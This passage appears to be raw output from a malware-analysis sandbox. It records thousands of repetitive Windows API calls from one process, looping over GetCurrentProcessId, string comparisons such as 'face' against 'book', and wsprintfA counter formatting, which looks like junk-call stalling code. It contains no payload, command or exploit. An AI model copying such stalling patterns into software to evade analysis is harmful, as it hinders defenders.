GetCurrentProcessId () returned 0x79c [0134.474] GetCurrentProcessId () returned 0x79c [0134.474] lstrlenA (lpString="just string") returned 11 [0134.474] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0134.474] GetLastError () returned 0x12 [0134.474] GetCurrentProcessId () returned 0x79c [0134.474] GetCurrentProcessId () returned 0x79c [0134.474] lstrlenA (lpString="just string") returned 11 [0134.474] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0134.474] GetLastError () returned 0x12 [0134.474] lstrlenA (lpString="just string") returned 11 [0134.474] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0134.474] GetLastError () returned 0x12 [0134.474] GetCurrentProcessId () returned 0x79c [0134.474] GetCurrentProcessId () returned 0x79c [0134.474] GetCurrentProcessId () returned 0x79c [0134.474] lstrlenA (lpString="just string") returned 11 [0134.474] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0134.474] GetLastError () returned 0x12 [0134.474] lstrlenA (lpString="just string") returned 11 [0134.474] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0134.474] GetLastError () returned 0x12 [0134.474] GetLastError () returned 0x12 [0134.474] GetCurrentProcess () returned 0xffffffff [0134.474] GetLastError () returned 0x12 [0134.474] wsprintfA (in: param_1=0x246f6d7, param_2="%X%P" | out: param_1="1FC2FP") returned 6 [0134.475] SetLastError (dwErrCode=0x12) [0134.475] GetCurrentProcessId () returned 0x79c [0134.475] GetLastError () returned 0x12 [0134.475] wsprintfA (in: param_1=0x246f6d7, param_2="%X%P" | out: param_1="1FC30P") returned 6 [0134.475] SetLastError (dwErrCode=0x12) [0134.475] GetCurrentProcessId () returned 0x79c [0134.475] GetCurrentProcessId () returned 0x79c [0134.475] GetCurrentProcessId () returned 0x79c [0134.475] GetCurrentProcessId () returned 0x79c [0134.475] lstrlenA (lpString="just string") returned 11 [0134.475] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0134.475] GetLastError () returned 0x12 [0134.475] lstrlenA (lpString="just string") returned 11 [0134.475] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0134.475] GetLastError () returned 0x12 [0134.475] GetCurrentProcessId () returned 0x79c [0134.475] GetCurrentProcessId () returned 0x79c [0134.475] lstrlenA (lpString="just string") returned 11 [0134.475] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0134.475] GetLastError () returned 0x12 [0134.475] GetLastError () returned 0x12 [0134.475] lstrcmpA (lpString1="\x12", lpString2="luck") returned -1 [0134.475] SetLastError (dwErrCode=0x12) [0134.475] GetCurrentProcess () returned 0xffffffff [0134.475] GetLastError () returned 0x12 [0134.475] wsprintfA (in: param_1=0x246f6d7, param_2="%X%P" | out: param_1="1FC9CP") returned 6 [0134.475] SetLastError (dwErrCode=0x12) [0134.475] GetCurrentProcessId () returned 0x79c [0134.475] GetCurrentProcess () returned 0xffffffff [0134.475] GetLastError () returned 0x12 [0134.475] wsprintfA (in: param_1=0x246f6d7, param_2="%X%P" | out: param_1="1FC9DP") returned 6 [0134.475] SetLastError (dwErrCode=0x12) [0134.475] GetCurrentProcessId () returned 0x79c [0134.475] GetLastError () returned 0x12 [0134.475] wsprintfA (in: param_1=0x246f6d7, param_2="%X%P" | out: param_1="1FC9EP") returned 6 [0134.475] SetLastError (dwErrCode=0x12) [0134.475] GetCurrentProcessId () returned 0x79c [0134.475] GetCurrentProcessId () returned 0x79c [0134.475] GetCurrentProcessId () returned 0x79c [0134.475] GetCurrentProcessId () returned 0x79c [0134.475] lstrlenA (lpString="just string") returned 11 [0134.475] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0134.475] GetLastError () returned 0x12 [0134.475] GetLastError () returned 0x12 [0134.475] wsprintfA (in: param_1=0x246f6d7, param_2="%X%P" | out: param_1="1FCC6P") returned 6 [0134.475] SetLastError (dwErrCode=0x12) [0134.475] GetCurrentProcessId () returned 0x79c [0134.475] GetCurrentProcessId () returned 0x79c [0134.475] GetCurrentProcessId () returned 0x79c [0134.475] GetCurrentProcessId () returned 0x79c [0134.475] lstrlenA (lpString="just string") returned 11 [0134.475] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0134.475] GetLastError () returned 0x12 [0134.475] GetLastError () returned 0x12 [0134.475] lstrcmpA (lpString1=")", lpString2="luck") returned -1 [0134.475] SetLastError (dwErrCode=0x12) [0134.475] GetCurrentProcess () returned 0xffffffff [0134.475] GetLastError () returned 0x12 [0134.475] wsprintfA (in: param_1=0x246f6d7, param_2="%X%P" | out: param_1="1FCD8P") returned 6 [0134.475] SetLastError (dwErrCode=0x12) [0134.475] GetCurrentProcessId () returned 0x79c [0134.476] GetCurrentProcess () returned 0xffffffff [0134.476] GetLastError () returned 0x12 [0134.476] wsprintfA (in: param_1=0x246f6d7, param_2="%X%P" | out: param_1="1FCD9P") returned 6 [0134.476] SetLastError (dwErrCode=0x12) [0134.476] GetCurrentProcessId () returned 0x79c [0134.476] GetLastError () returned 0x12 [0134.476] wsprintfA (in: param_1=0x246f6d7, param_2="%X%P" | out: param_1="1FCDAP") returned 6 [0134.476] SetLastError (dwErrCode=0x12) [0134.476] GetCurrentProcessId () returned 0x79c [0134.476] GetCurrentProcessId () returned 0x79c [0134.476] GetCurrentProcessId () returned 0x79c [0134.476] GetCurrentProcessId () returned 0x79c [0134.476] lstrlenA (lpString="just string") returned 11 [0134.476] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0134.476] GetLastError () returned 0x12 [0134.476] lstrlenA (lpString="just string") returned 11 [0134.476] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0134.476] GetLastError () returned 0x12 [0134.476] GetCurrentProcessId () returned 0x79c [0134.476] GetCurrentProcessId () returned 0x79c [0134.476] lstrlenA (lpString="just string") returned 11 [0134.476] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0134.476] GetLastError () returned 0x12 [0134.476] GetCurrentProcessId () returned 0x79c [0134.476] GetCurrentProcessId () returned 0x79c [0134.476] GetCurrentProcessId () returned 0x79c [0134.476] lstrlenA (lpString="just string") returned 11 [0134.476] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0134.476] GetLastError () returned 0x12 [0134.476] GetCurrentProcessId () returned 0x79c [0134.476] GetCurrentProcessId () returned 0x79c [0134.476] lstrlenA (lpString="just string") returned 11 [0134.476] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0134.476] GetLastError () returned 0x12 [0134.476] GetCurrentProcess () returned 0xffffffff [0134.476] GetLastError () returned 0x12 [0134.476] wsprintfA (in: param_1=0x246f6d7, param_2="%X%P" | out: param_1="1FDB5P") returned 6 [0134.476] SetLastError (dwErrCode=0x12) [0134.476] GetCurrentProcessId () returned 0x79c [0134.476] GetLastError () returned 0x12 [0134.476] wsprintfA (in: param_1=0x246f6d7, param_2="%X%P" | out: param_1="1FDB6P") returned 6 [0134.476] SetLastError (dwErrCode=0x12) [0134.476] GetCurrentProcessId () returned 0x79c [0134.476] GetCurrentProcessId () returned 0x79c [0134.476] GetCurrentProcessId () returned 0x79c [0134.476] GetCurrentProcessId () returned 0x79c [0134.476] lstrlenA (lpString="just string") returned 11 [0134.476] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0134.476] GetLastError () returned 0x12 [0134.476] GetCurrentProcessId () returned 0x79c [0134.476] GetCurrentProcessId () returned 0x79c [0134.476] GetCurrentProcessId () returned 0x79c [0134.476] lstrlenA (lpString="just string") returned 11 [0134.476] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0134.476] GetLastError () returned 0x12 [0134.476] lstrlenA (lpString="just string") returned 11 [0134.476] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0134.476] GetLastError () returned 0x12 [0134.476] GetLastError () returned 0x12 [0134.476] wsprintfA (in: param_1=0x246f6d7, param_2="%X%P" | out: param_1="1FE24P") returned 6 [0134.476] SetLastError (dwErrCode=0x12) [0134.476] GetCurrentProcessId () returned 0x79c [0134.476] GetCurrentProcessId () returned 0x79c [0134.476] GetCurrentProcessId () returned 0x79c [0134.476] GetCurrentProcessId () returned 0x79c [0134.476] lstrlenA (lpString="just string") returned 11 [0134.476] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0134.477] GetLastError () returned 0x12 [0134.477] GetCurrentProcess () returned 0xffffffff [0134.477] GetLastError () returned 0x12 [0134.477] wsprintfA (in: param_1=0x246f6d7, param_2="%X%P" | out: param_1="1FE5FP") returned 6 [0134.477] SetLastError (dwErrCode=0x12) [0134.477] GetCurrentProcessId () returned 0x79c [0134.477] GetLastError () returned 0x12 [0134.477] wsprintfA (in: param_1=0x246f6d7, param_2="%X%P" | out: param_1="1FE60P") returned 6 [0134.477] SetLastError (dwErrCode=0x12) [0134.477] GetCurrentProcessId () returned 0x79c [0134.477] GetCurrentProcessId () returned 0x79c [0134.477] GetCurrentProcessId () returned 0x79c [0134.477] GetCurrentProcessId () returned 0x79c [0134.477] lstrlenA (lpString="just string") returned 11 [0134.477] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0134.477] GetLastError () returned 0x12 [0134.477] GetCurrentProcessId () returned 0x79c [0134.477] lstrlenA (lpString="just string") returned 11 [0134.477] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0134.477] GetLastError () returned 0x12 [0134.477] GetLastError () returned 0x12 [0134.477] GetLastError () returned 0x12 [0134.477] wsprintfA (in: param_1=0x246f6d7, param_2="%X%P" | out: param_1="1FEB0P") returned 6 [0134.477] SetLastError (dwErrCode=0x12) [0134.477] GetCurrentProcessId () returned 0x79c [0134.477] GetCurrentProcessId () returned 0x79c [0134.477] GetCurrentProcessId () returned 0x79c [0134.477] GetCurrentProcessId () returned 0x79c [0134.477] lstrlenA (lpString="just string") returned 11 [0134.477] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0134.477] GetLastError () returned 0x12 [0134.477] GetCurrentProcess () returned 0xffffffff [0134.477] GetLastError () returned 0x12 [0134.477] wsprintfA (in: param_1=0x246f6d7, param_2="%X%P" | out: param_1="1FEB9P") returned 6 [0134.477] SetLastError (dwErrCode=0x12) [0134.477] GetCurrentProcessId () returned 0x79c [0134.477] GetLastError () returned 0x12 [0134.477] wsprintfA (in: param_1=0x246f6d7, param_2="%X%P" | out: param_1="1FEBAP") returned 6 [0134.477] SetLastError (dwErrCode=0x12) [0134.477] GetCurrentProcessId () returned 0x79c [0134.477] GetCurrentProcessId () returned 0x79c [0134.477] GetCurrentProcessId () returned 0x79c [0134.477] GetCurrentProcessId () returned 0x79c [0134.477] lstrlenA (lpString="just string") returned 11 [0134.477] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0134.477] GetLastError () returned 0x12 [0134.477] GetCurrentProcessId () returned 0x79c [0134.477] GetCurrentProcessId () returned 0x79c [0134.477] GetCurrentProcessId () returned 0x79c [0134.477] lstrlenA (lpString="just string") returned 11 [0134.477] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0134.477] GetLastError () returned 0x12 [0134.477] GetLastError () returned 0x12 [0134.477] lstrcmpA (lpString1=")", lpString2="luck") returned -1 [0134.477] SetLastError (dwErrCode=0x12) [0134.477] GetCurrentProcess () returned 0xffffffff [0134.477] GetLastError () returned 0x12 [0134.477] wsprintfA (in: param_1=0x246f6d7, param_2="%X%P" | out: param_1="1FF30P") returned 6 [0134.477] SetLastError (dwErrCode=0x12) [0134.477] GetCurrentProcessId () returned 0x79c [0134.477] GetCurrentProcess () returned 0xffffffff [0134.477] GetLastError () returned 0x12 [0134.477] wsprintfA (in: param_1=0x246f6d7, param_2="%X%P" | out: param_1="1FF31P") returned 6 [0134.477] SetLastError (dwErrCode=0x12) [0134.478] GetCurrentProcessId () returned 0x79c [0134.478] GetLastError () returned 0x12 [0134.478] wsprintfA (in: param_1=0x246f6d7, param_2="%X%P" | out: param_1="1FF32P") returned 6 [0134.478] SetLastError (dwErrCode=0x12) [0134.478] GetCurrentProcessId () returned 0x79c [0134.478] GetCurrentProcessId () returned 0x79c [0134.478] GetCurrentProcessId () returned 0x79c [0134.478] GetCurrentProcessId () returned 0x79c [0134.478] lstrlenA (lpString="just string") returned 11 [0134.478] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0134.478] GetLastError () returned 0x12 [0134.478] lstrlenA (lpString="just string") returned 11 [0134.478] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0134.478] GetLastError () returned 0x12 [0134.478] GetCurrentProcess () returned 0xffffffff [0134.478] GetLastError () returned 0x12 [0134.478] wsprintfA (in: param_1=0x246f72f, param_2="%X%P" | out: param_1="1FFA9P") returned 6 [0134.478] SetLastError (dwErrCode=0x12) [0134.478] GetCurrentProcessId () returned 0x79c [0134.478] GetLastError () returned 0x12 [0134.478] wsprintfA (in: param_1=0x246f70b, param_2="%X%P" | out: param_1="1FFAAP") returned 6 [0134.478] SetLastError (dwErrCode=0x12) [0134.478] GetCurrentProcessId () returned 0x79c [0134.478] GetCurrentProcessId () returned 0x79c [0134.478] GetCurrentProcessId () returned 0x79c [0134.478] GetCurrentProcessId () returned 0x79c [0134.478] lstrlenA (lpString="just string") returned 11 [0134.478] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0134.478] GetLastError () returned 0x12 [0134.478] GetLastError () returned 0x12 [0134.478] GetLastError () returned 0x12 [0134.478] lstrcmpA (lpString1="\x12", lpString2="luck") returned -1 [0134.478] SetLastError (dwErrCode=0x12) [0134.478] GetCurrentProcess () returned 0xffffffff [0134.478] GetLastError () returned 0x12 [0134.478] wsprintfA (in: param_1=0x246dd93, param_2="%X%P" | out: param_1="1FFD0P") returned 6 [0134.478] SetLastError (dwErrCode=0x12) [0134.478] GetCurrentProcessId () returned 0x79c [0134.478] GetCurrentProcess () returned 0xffffffff [0134.478] GetLastError () returned 0x12 [0134.478] wsprintfA (in: param_1=0x246dd93, param_2="%X%P" | out: param_1="1FFD1P") returned 6 [0134.478] SetLastError (dwErrCode=0x12) [0134.478] GetCurrentProcessId () returned 0x79c [0134.478] GetLastError () returned 0x12 [0134.478] wsprintfA (in: param_1=0x246dd93, param_2="%X%P" | out: param_1="1FFD2P") returned 6 [0134.478] SetLastError (dwErrCode=0x12) [0134.478] GetCurrentProcessId () returned 0x79c [0134.478] GetCurrentProcessId () returned 0x79c [0134.478] GetCurrentProcessId () returned 0x79c [0134.478] GetCurrentProcessId () returned 0x79c [0134.478] lstrlenA (lpString="just string") returned 11 [0134.478] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0134.478] GetLastError () returned 0x12 [0134.478] GetLastError () returned 0x12 [0134.478] lstrcmpA (lpString1="\x12", lpString2="luck") returned -1 [0134.479] SetLastError (dwErrCode=0x12) [0134.479] GetCurrentProcess () returned 0xffffffff [0134.479] GetLastError () returned 0x12 [0134.479] wsprintfA (in: param_1=0x246e9a3, param_2="%X%P" | out: param_1="1FFE4P") returned 6 [0134.479] SetLastError (dwErrCode=0x12) [0134.479] GetCurrentProcessId () returned 0x79c [0134.479] GetCurrentProcess () returned 0xffffffff [0134.479] GetLastError () returned 0x12 [0134.479] wsprintfA (in: param_1=0x246e9a3, param_2="%X%P" | out: param_1="1FFE5P") returned 6 [0134.479] SetLastError (dwErrCode=0x12) [0134.479] GetCurrentProcessId () returned 0x79c [0134.479] GetLastError () returned 0x12 [0134.479] wsprintfA (in: param_1=0x246e9a3, param_2="%X%P" | out: param_1="1FFE6P") returned 6 [0134.479] SetLastError (dwErrCode=0x12) [0134.479] GetCurrentProcessId () returned 0x79c [0134.479] GetCurrentProcessId () returned 0x79c [0134.479] GetCurrentProcessId () returned 0x79c [0134.479] GetCurrentProcessId () returned 0x79c [0134.479] lstrlenA (lpString="just string") returned 11 [0134.479] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0134.479] GetLastError () returned 0x12 [0134.479] GetLastError () returned 0x12 [0134.479] lstrcmpA (lpString1="\x12", lpString2="luck") returned -1 [0134.479] SetLastError (dwErrCode=0x12) [0134.479] GetCurrentProcess () returned 0xffffffff [0134.479] GetLastError () returned 0x12 [0134.479] wsprintfA (in: param_1=0x246e9a3, param_2="%X%P" | out: param_1="20016P") returned 6 [0134.479] SetLastError (dwErrCode=0x12) [0134.479] GetCurrentProcessId () returned 0x79c [0134.479] GetCurrentProcess () returned 0xffffffff [0134.479] GetLastError () returned 0x12 [0134.479] wsprintfA (in: param_1=0x246e9a3, param_2="%X%P" | out: param_1="20017P") returned 6 [0134.479] SetLastError (dwErrCode=0x12) [0134.479] GetCurrentProcessId () returned 0x79c [0134.479] GetLastError () returned 0x12 [0134.479] wsprintfA (in: param_1=0x246e9a3, param_2="%X%P" | out: param_1="20018P") returned 6 [0134.479] SetLastError (dwErrCode=0x12) [0134.479] GetCurrentProcessId () returned 0x79c [0134.479] GetCurrentProcessId () returned 0x79c [0134.479] GetCurrentProcessId () returned 0x79c [0134.479] GetCurrentProcessId () returned 0x79c [0134.479] lstrlenA (lpString="just string") returned 11 [0134.479] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0134.479] GetLastError () returned 0x12 [0134.479] GetLastError () returned 0x12 [0134.479] lstrcmpA (lpString1="\x12", lpString2="luck") returned -1 [0134.479] SetLastError (dwErrCode=0x12) [0134.479] GetCurrentProcess () returned 0xffffffff [0134.479] GetLastError () returned 0x12 [0134.479] wsprintfA (in: param_1=0x246e9a3, param_2="%X%P" | out: param_1="20034P") returned 6 [0134.479] SetLastError (dwErrCode=0x12) [0134.479] GetCurrentProcessId () returned 0x79c [0134.479] GetCurrentProcess () returned 0xffffffff [0134.479] GetLastError () returned 0x12 [0134.479] wsprintfA (in: param_1=0x246e9a3, param_2="%X%P" | out: param_1="20035P") returned 6 [0134.479] SetLastError (dwErrCode=0x12) [0134.479] GetCurrentProcessId () returned 0x79c [0134.479] GetLastError () returned 0x12 [0134.479] wsprintfA (in: param_1=0x246e9a3, param_2="%X%P" | out: param_1="20036P") returned 6 [0134.479] SetLastError (dwErrCode=0x12) [0134.480] GetCurrentProcessId () returned 0x79c [0134.480] GetCurrentProcessId () returned 0x79c [0134.480] GetCurrentProcessId () returned 0x79c [0134.480] GetCurrentProcessId () returned 0x79c [0134.480] lstrlenA (lpString="just string") returned 11 [0134.480] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0134.480] GetLastError () returned 0x12 [0134.480] GetCurrentProcessId () returned 0x79c [0134.480] lstrlenA (lpString="just string") returned 11 [0134.480] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0134.480] GetLastError () returned 0x12 [0134.480] GetLastError () returned 0x12 [0134.480] wsprintfA (in: param_1=0x246e9a3, param_2="%X%P" | out: param_1="200AEP") returned 6 [0134.480] SetLastError (dwErrCode=0x12) [0134.480] GetCurrentProcessId () returned 0x79c [0134.480] GetCurrentProcessId () returned 0x79c [0134.480] GetCurrentProcessId () returned 0x79c [0134.480] GetCurrentProcessId () returned 0x79c [0134.480] lstrlenA (lpString="just string") returned 11 [0134.480] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0134.480] GetLastError () returned 0x12 [0134.480] GetCurrentProcess () returned 0xffffffff [0134.480] GetLastError () returned 0x12 [0134.480] wsprintfA (in: param_1=0x246e9a3, param_2="%X%P" | out: param_1="200DFP") returned 6 [0134.480] SetLastError (dwErrCode=0x12) [0134.480] GetCurrentProcessId () returned 0x79c [0134.480] GetLastError () returned 0x12 [0134.480] wsprintfA (in: param_1=0x246e9a3, param_2="%X%P" | out: param_1="200E0P") returned 6 [0134.480] SetLastError (dwErrCode=0x12) [0134.480] GetCurrentProcessId () returned 0x79c [0134.480] GetCurrentProcessId () returned 0x79c [0134.480] GetCurrentProcessId () returned 0x79c [0134.480] GetCurrentProcessId () returned 0x79c [0134.480] lstrlenA (lpString="just string") returned 11 [0134.480] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0134.480] GetLastError () returned 0x12 [0134.480] GetCurrentProcessId () returned 0x79c [0134.480] GetCurrentProcessId () returned 0x79c [0134.480] lstrlenA (lpString="just string") returned 11 [0134.480] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0134.480] GetLastError () returned 0x12 [0134.480] GetCurrentProcessId () returned 0x79c [0134.480] GetCurrentProcessId () returned 0x79c [0134.480] GetCurrentProcessId () returned 0x79c [0134.480] lstrlenA (lpString="just string") returned 11 [0134.480] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0134.480] GetLastError () returned 0x12 [0134.480] GetCurrentProcess () returned 0xffffffff [0134.480] GetLastError () returned 0x12 [0134.480] wsprintfA (in: param_1=0x246e9a3, param_2="%X%P" | out: param_1="20139P") returned 6 [0134.480] SetLastError (dwErrCode=0x12) [0134.480] GetCurrentProcessId () returned 0x79c [0134.480] GetLastError () returned 0x12 [0134.480] wsprintfA (in: param_1=0x246e9a3, param_2="%X%P" | out: param_1="2013AP") returned 6 [0134.480] SetLastError (dwErrCode=0x12) [0134.480] GetCurrentProcessId () returned 0x79c [0134.480] GetCurrentProcessId () returned 0x79c [0134.480] GetCurrentProcessId () returned 0x79c [0134.480] GetCurrentProcessId () returned 0x79c [0134.480] lstrlenA (lpString="just string") returned 11 [0134.480] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0134.480] GetLastError () returned 0x12 [0134.480] lstrlenA (lpString="just string") returned 11 [0134.480] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0134.480] GetLastError () returned 0x12 [0134.480] GetLastError () returned 0x12 [0134.481] lstrcmpA (lpString1="\x12", lpString2="luck") returned -1 [0134.481] SetLastError (dwErrCode=0x12) [0134.481] GetCurrentProcess () returned 0xffffffff [0134.481] GetLastError () returned 0x12 [0134.481] wsprintfA (in: param_1=0x246e9a3, param_2="%X%P" | out: param_1="20156P") returned 6 [0134.481] SetLastError (dwErrCode=0x12) [0134.481] GetCurrentProcessId () returned 0x79c [0134.481] GetCurrentProcess () returned 0xffffffff [0134.481] GetLastError () returned 0x12 [0134.481] wsprintfA (in: param_1=0x246e9a3, param_2="%X%P" | out: param_1="20157P") returned 6 [0134.481] SetLastError (dwErrCode=0x12) [0134.481] GetCurrentProcessId () returned 0x79c [0134.481] GetLastError () returned 0x12 [0134.481] wsprintfA (in: param_1=0x246e9bf, param_2="%X%P" | out: param_1="20158P") returned 6 [0134.481] SetLastError (dwErrCode=0x12) [0134.481] GetCurrentProcessId () returned 0x79c [0134.481] GetCurrentProcessId () returned 0x79c [0134.481] GetCurrentProcessId () returned 0x79c [0134.481] GetCurrentProcessId () returned 0x79c [0134.481] lstrlenA (lpString="just string") returned 11 [0134.481] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0134.481] GetLastError () returned 0x12 [0134.481] GetCurrentProcessId () returned 0x79c [0134.481] lstrlenA (lpString="just string") returned 11 [0134.481] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0134.481] GetLastError () returned 0x12 [0134.481] GetCurrentProcess () returned 0xffffffff [0134.481] GetLastError () returned 0x12 [0134.481] wsprintfA (in: param_1=0x246f3e7, param_2="%X%P" | out: param_1="2016BP") returned 6 [0134.481] SetLastError (dwErrCode=0x12) [0134.481] GetCurrentProcessId () returned 0x79c [0134.481] GetLastError () returned 0x12 [0134.481] wsprintfA (in: param_1=0x246e9c3, param_2="%X%P" | out: param_1="2016CP") returned 6 [0134.481] SetLastError (dwErrCode=0x12) [0134.481] GetCurrentProcessId () returned 0x79c [0134.481] GetCurrentProcessId () returned 0x79c [0134.481] GetCurrentProcessId () returned 0x79c [0134.481] GetCurrentProcessId () returned 0x79c [0134.481] lstrlenA (lpString="just string") returned 11 [0134.481] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0134.481] GetLastError () returned 0x12 [0134.481] GetCurrentProcess () returned 0xffffffff [0134.481] GetLastError () returned 0x12 [0134.481] wsprintfA (in: param_1=0x246e9bf, param_2="%X%P" | out: param_1="201B1P") returned 6 [0134.481] SetLastError (dwErrCode=0x12) [0134.481] GetCurrentProcessId () returned 0x79c [0134.481] GetLastError () returned 0x12 [0134.481] wsprintfA (in: param_1=0x246e9a3, param_2="%X%P" | out: param_1="201B2P") returned 6 [0134.481] SetLastError (dwErrCode=0x12) [0134.481] GetCurrentProcessId () returned 0x79c [0134.481] GetCurrentProcessId () returned 0x79c [0134.481] GetCurrentProcessId () returned 0x79c [0134.481] GetCurrentProcessId () returned 0x79c [0134.481] lstrlenA (lpString="just string") returned 11 [0134.481] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0134.481] GetLastError () returned 0x12 [0134.481] GetLastError () returned 0x12 [0134.481] GetLastError () returned 0x12 [0134.481] lstrcmpA (lpString1=")", lpString2="luck") returned -1 [0134.482] SetLastError (dwErrCode=0x12) [0134.482] GetCurrentProcess () returned 0xffffffff [0134.482] GetLastError () returned 0x12 [0134.482] wsprintfA (in: param_1=0x246e9c3, param_2="%X%P" | out: param_1="2020AP") returned 6 [0134.482] SetLastError (dwErrCode=0x12) [0134.482] GetCurrentProcessId () returned 0x79c [0134.482] GetCurrentProcess () returned 0xffffffff [0134.482] GetLastError () returned 0x12 [0134.482] wsprintfA (in: param_1=0x246e9c3, param_2="%X%P" | out: param_1="2020BP") returned 6 [0134.482] SetLastError (dwErrCode=0x12) [0134.482] GetCurrentProcessId () returned 0x79c [0134.482] GetLastError () returned 0x12 [0134.482] wsprintfA (in: param_1=0x246e9c3, param_2="%X%P" | out: param_1="2020CP") returned 6 [0134.482] SetLastError (dwErrCode=0x12) [0134.482] GetCurrentProcessId () returned 0x79c [0134.482] GetCurrentProcessId () returned 0x79c [0134.482] GetCurrentProcessId () returned 0x79c [0134.482] GetCurrentProcessId () returned 0x79c [0134.482] lstrlenA (lpString="just string") returned 11 [0134.482] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0134.482] GetLastError () returned 0x12 [0134.482] lstrlenA (lpString="just string") returned 11 [0134.482] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0134.482] GetLastError () returned 0x12 [0134.482] GetCurrentProcessId () returned 0x79c [0134.482] GetCurrentProcessId () returned 0x79c [0134.482] GetCurrentProcessId () returned 0x79c [0134.482] lstrlenA (lpString="just string") returned 11 [0134.482] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0134.482] GetLastError () returned 0x12 [0134.482] GetLastError () returned 0x12 [0134.482] wsprintfA (in: param_1=0x246f3f7, param_2="%X%P" | out: param_1="20298P") returned 6 [0134.482] SetLastError (dwErrCode=0x12) [0134.482] GetCurrentProcessId () returned 0x79c [0134.482] GetCurrentProcessId () returned 0x79c [0134.482] GetCurrentProcessId () returned 0x79c [0134.482] GetCurrentProcessId () returned 0x79c [0134.482] lstrlenA (lpString="just string") returned 11 [0134.482] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0134.482] GetLastError () returned 0x12 [0134.482] GetLastError () returned 0x12 [0134.482] wsprintfA (in: param_1=0x246f3f7, param_2="%X%P" | out: param_1="202B6P") returned 6 [0134.482] SetLastError (dwErrCode=0x12) [0134.482] GetCurrentProcessId () returned 0x79c [0134.482] GetCurrentProcessId () returned 0x79c [0134.482] GetCurrentProcessId () returned 0x79c [0134.482] GetCurrentProcessId () returned 0x79c [0134.482] lstrlenA (lpString="just string") returned 11 [0134.482] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0134.482] GetLastError () returned 0x12 [0134.482] GetLastError () returned 0x12 [0134.482] wsprintfA (in: param_1=0x246f3f7, param_2="%X%P" | out: param_1="202F2P") returned 6 [0134.482] SetLastError (dwErrCode=0x12) [0134.482] GetCurrentProcessId () returned 0x79c [0134.482] GetCurrentProcessId () returned 0x79c [0134.482] GetCurrentProcessId () returned 0x79c [0134.482] GetCurrentProcessId () returned 0x79c [0134.482] lstrlenA (lpString="just string") returned 11 [0134.482] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0134.482] GetLastError () returned 0x12 [0134.482] GetLastError () returned 0x12 [0134.482] lstrcmpA (lpString1="\x12", lpString2="luck") returned -1 [0134.482] SetLastError (dwErrCode=0x12) [0134.483] GetCurrentProcess () returned 0xffffffff [0134.483] GetLastError () returned 0x12 [0134.483] wsprintfA (in: param_1=0x246f3f7, param_2="%X%P" | out: param_1="20336P") returned 6 [0134.483] SetLastError (dwErrCode=0x12) [0134.483] GetCurrentProcessId () returned 0x79c [0134.483] GetCurrentProcess () returned 0xffffffff [0134.483] GetLastError () returned 0x12 [0134.483] wsprintfA (in: param_1=0x246f3f7, param_2="%X%P" | out: param_1="20337P") returned 6 [0134.483] SetLastError (dwErrCode=0x12) [0134.483] GetCurrentProcessId () returned 0x79c [0134.483] GetLastError () returned 0x12 [0134.483] wsprintfA (in: param_1=0x246f3f7, param_2="%X%P" | out: param_1="20338P") returned 6 [0134.483] SetLastError (dwErrCode=0x12) [0134.483] GetCurrentProcessId () returned 0x79c [0134.483] GetCurrentProcessId () returned 0x79c [0134.483] GetCurrentProcessId () returned 0x79c [0134.483] GetCurrentProcessId () returned 0x79c [0134.483] lstrlenA (lpString="just string") returned 11 [0134.483] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0134.483] GetLastError () returned 0x12 [0134.483] GetCurrentProcessId () returned 0x79c [0134.483] GetCurrentProcessId () returned 0x79c [0134.483] GetCurrentProcessId () returned 0x79c [0134.483] lstrlenA (lpString="just string") returned 11 [0134.483] lstrcmpA (lpString1="face", lpString2="book") returned 1 [0134.483] GetLastError () returned 0x12 [0134.483] GetLastError () returned 0x12 [0134.483] GetLastError () returned 0x12 [0134.483] lstrcmpA (lpString1=")", lpString2="luck") returned -1 [0134.483] SetLastError (dwErrCode=0x12) [0134.483] GetCurrentProcess () returned 0xffffffff [0134.483] GetLastError () returned 0x12 [0134.483] wsprintfA (in: param_1=0x246f3f7, param_2="%X%P" | out: param_1="203C2P") returned 6 [0134.483] SetLastError (dwErrCode=0x12) [0134.483] GetCurrentProcessId () returned 0x79c [0134.483] GetCurrentProcess () returned 0xffffffff 